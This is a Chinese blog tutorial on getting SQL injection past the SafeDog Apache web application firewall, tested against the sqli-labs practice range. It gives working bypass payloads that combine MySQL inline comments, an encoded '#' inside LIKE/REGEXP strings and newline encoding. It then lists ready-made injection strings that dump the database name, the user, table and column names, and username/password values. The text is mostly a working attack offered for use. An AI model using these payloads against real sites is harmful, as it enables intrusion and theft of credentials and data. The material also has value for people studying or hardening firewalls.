什么,有狗快跑!慢着,这次手把手教你怎么过安全狗!(sql注入篇)
前言
在记忆里上次绕安全狗还是在上次,开开心心把自己之前绕过狗的payload拿出来,发现全部被拦截了,事情一下子就严肃起来了,这就开整。
环境
本次环境如下sqli-lab的sql注入靶场
网站安全狗APACHE版V4.0版本的最高防护等级
绕过方法
首先先来分析分析以前以前绕过的Payload
-1' union/*!10440*/select 1,2,3--+
其中这里的10440数字经过fuzz可以替换的有如下
10440–10449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449 18440-18449 等等
但是在更新后的安全狗后这些payload已经全部被拦截
到这就不得不提提安全狗之前的匹配规则了,我们单独union不会被拦截
单独select也不会被拦截
但是union和select放一起组合就会被匹配出来,然后被安全狗所拦截
基于这个特性,我们利用之前的payload
-1' union/*!10440*/select 1,2,3--+
是可以绕过老版本的安全狗的,这里在union和select中间加入了一个/\*!10440\*/,众所周知在mysql中/\*!...\*/不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/\*!...\*/中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行
所以union/\*!10440\*/select等价于union select,且绕过了安全狗对union和select字符一起组合的检测
但是安全狗更新之后,所有的payload都已经失效,那么我们猜测一下,安全狗更新后是不是匹配union和select之间所有的字符,匹配到之后用空字符替换,再检测是否存在union select组合,为了验证这个猜测我们对我们的payload进行fuzz验证一下
跑了一些特殊的字符发现都被拦截
但是唯独有一个符号没有被返回的length长度不一样
按我们看看这个'#'会擦出什么爱情的火花
我们利用如下语句
?id=-1' union/*!test01#test02*/select 1,2,3--+
此处我们搞清楚一个流程,我们的语句发送过去,首先接收安全狗检测,安全狗检测到'#'号,所以'\#'后面的都会被截断抛弃,所以安全狗只能匹配到'\#'前的union,但是没匹配到'\#'后的select,所以通过安全狗。在通过安全狗后我们的语句被数据库接收,数据库此处处理过程和安全狗处理流程一样,都是只能匹配到'\#'前的union,但是没匹配到'\#'后的select,最终导致语句不完整导致最后的报错。
说到这里我们究竟要怎么去绕过这个可恶的安全狗呢,我们想象这么一个场景,首先我们的'\#'被安全狗识别,但是在我们的SQL语句中并不识别这个'\#',这样我们就可以达到绕过安全狗而且保持正确的SQL语句来实现我么的注入。
我们来看下下面两语句
SELECT * FROM number WHERE home_id =1 LIKE "[%23]";
SELECT * FROM number WHERE home_id =1 LIKE "[%23]" union select * FROM number;
此处SELECT * FROM number WHERE home_id =1 LIKE "[%23]";查出来一个空表
所以SELECT * FROM number WHERE home_id =1 LIKE "[%23]" union select * FROM number;相当于select * FROM number;
该语句是存在一个LIKE "[%23]",也正是这个LIKE "[%23]"让我们的SELECT * FROM number WHERE home_id =1成为一个空表。
那么这个语句有什么用的,可以发现我们的LIKE "[%23]"中有一个%23,众所周知\#的url编码是%23,那么这条语句带入到安全狗中,安全狗会不会识别这个\#呢,带着这样的猜想我们构造如下payload。
-1' like "[%23]" /*!10440union select*/ 1,2,3 --+
呜呜呜,还是被拦截了,吹牛逼吹了这么久,白吹了。
但是我这种阳光、帅气、善解人意且坚持不懈的小伙子会这么容易就放弃吗,显然不会,后面猜测是/\*!10440union select\*/中的union select被检测出来了,所以在union select中间下了点功夫,最终payload如下
-1' like "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
奈何无文化,一句卧槽走天下。
最后总结下安全狗的检测机制
首先整体语句做一个检测,这个检测也是最强最牛X的
'\#'后的语句虽然被截断,但截断之后并不是和我们最初想的那样完全不检测,'\#'截断的语句还是会被检测,只是检测规则相比第一次不同且相比第一次检测强度相比较弱,所以我们可以对其进行绕过。
当然除了like关键字,我们还可以使用如下payload
-1' or "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
-1' regexp "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
-1' /*%23*/ /*!10440union%0aselect*/ 1,2,3 --+
知道了这个特性接下来就,那就用这一招打过天下无敌手
爆数据库名和用户名
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),user(/*!10440%0a*/)--+
爆表名
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(table_name) from/*%23*/information_schema.tables where table_schema=database(/*!10440%0a*/)--+
爆字段
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(column_name) from/*%23*/information_schema.columns where table_schema=database(/*!10440%0a*/) /*!10440and*/ table_name='users'--+
爆字段中的值
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(username,password) from users--+
总结
1、内联yyds
2、在一些被拦截的地方多用/\*%23\*/和/\*!10440%0a\*/,有奇效。
什么,有狗快跑!慢着,这次手把手教你怎么过安全狗!(sql注入篇)的更多相关文章
- 我的第一款Cocos2d 游戏小狗快跑基本完成
- 【python游戏编程之旅】第九篇---嗷大喵快跑小游戏开发实例
本系列博客介绍以python+pygame库进行小游戏的开发.有写的不对之处还望各位海涵. 前几期博客我们一起学习了,pygame中的冲突检测技术以及一些常用的数据结构. 这次我们来一起做一个简单的酷 ...
- 原创跑酷小游戏《Cube Duck Run》 - - 方块鸭快跑
自从unity5出来才开始关注unity,业余时间尝试做了个小游戏: <方块鸭快跑> (Cube Duck Run) 像素风,3d视角,色彩明快,有无尽和关卡两种模式. 应用连接: goo ...
- LYK 快跑!(LYK别打我-)(话说LYK是谁)
LYK 快跑!(run) Time Limit:5000ms Memory Limit:64MB 题目描述 LYK 陷进了一个迷宫! 这个迷宫是网格图形状的. LYK 一开始在(1,1)位置, 出口在 ...
- LYK 快跑!(run)
LYK 快跑!(run)Time Limit:5000ms Memory Limit:64MB[题目描述] LYK 陷进了一个迷宫! 这个迷宫是网格图形状的. LYK 一开始在(1,1)位置, 出口在 ...
- Cocos2dx系列笔记7:一个简单的跑酷游戏《萝莉快跑》的消化(附下载)
懒骨头(http://blog.csdn.com/iamlazybone) 或许有天 我们羡慕和崇拜的人 因为我们的努力 也会来了解我们 说不定 还会成为好友 骨头喜欢这样与哲哲共勉 多少个夜晚 一张 ...
- canvas小程序-快跑程序员
canvas不用说html5带来的好东西,游戏什么的,么么哒 记得有一天玩手机游戏,就是一个跳跃过柱子那种,其实元素很简单啊,app能开发,借助html5 canvas也可以啊, 于是就开始了. -- ...
- 小步快跑的公司可以最简化操作直接通过log4net将日志写入ElasticSearch
很多小步快跑的公司,开发人员多则3-4个,面对巨大业务压力,日连夜的赶着上线,快速试错,自然就没时间搭建一些基础设施,比如说logCenter,但初期 项目不稳定,bug又多,每次都跑到生产去找日志 ...
- 神龟快跑,2016做的一款UWP游戏
神龟快跑,2016做的一款UWP游戏, 实际是H5页面, 用LAYA转AS3得到的 安装地址 https://www.microsoft.com/zh-cn/store/p/神龟快跑/9nblggh4 ...
随机推荐
- Android官方文档翻译 二 1.Building Your First App
Building Your First App 创建你的第一个App项目 Dependencies and prerequisites 依赖关系和先决条件 * Android SDK * ADT Pl ...
- (转)Make 命令
Make 命令 代码变成可执行文件,叫做编译(compile):先编译这个,还是先编译那个(即编译的安排),叫做构建(build). Make是最常用的构建工具,诞生于1977年,主要用于C语言的项目 ...
- [Eclipse插件] 编辑插件IndentGuide
IndentGuide插件 将可配置的缩进指导线添加到Eclipse文本编辑器 如下图
- 【失败经验分享】android下使用支持opencl的cv::dft()
1.使用了UMat,但是并未使用GPU计算 cv::dft()函数的定义是: void cv::dft( InputArray _src0, OutputArray _dst, int flags, ...
- golang中函数的可变参数
package main import "fmt" // 一个函数中最多只可有一个可变参数, 如果参数列表中还有其它类型的参数,则可变参数写在最后 // 注意:参数不定,参数的个数 ...
- python3 连接mysql数据库
准备工作: 1.在本地虚拟机172.16.0.115上安装mysql,并设置权限如下 mysql> grant all privileges on *.* to root@"%&quo ...
- 【ASP.NET Core】使用最熟悉的Session验证方案
如果大伙伴们以前写过 ASP 或 PHP 之类的,相信各位对基于 Session 的身份验证很熟悉(其实在浏览器端是结合 Cookie 来处理的).这种验证方式是比较早期的,操作起来也不复杂. a.用 ...
- 如何在pyqt中实现窗口磨砂效果
磨砂效果的实现思路 这两周一直在思考怎么在pyqt上实现窗口磨砂效果,网上搜了一圈,全都是 C++ 的实现方法.正好今天查python的官方文档的时候看到了 ctypes 里面的 HWND,想想倒不如 ...
- 「NOI十联测」反函数
30pts 令(为1,)为-1: 暴力枚举每个点为起始点的路径,一条路径是合法的当且仅当路径权值和为0且路径上没有出现过负数. 将所有答案算出. 100pts 使用点分治. 要求知道经过重心root的 ...
- IDEA Debug常用快捷键
快捷键 介绍 F7 步入:进入到方法内部执行.一般步入自定义的方法.区别于强行步入 F8 步过:不会进入到方法内部,直接执行. F9 恢复程序:下面有断点则运行到下一断点,否则结束程序. Shift+ ...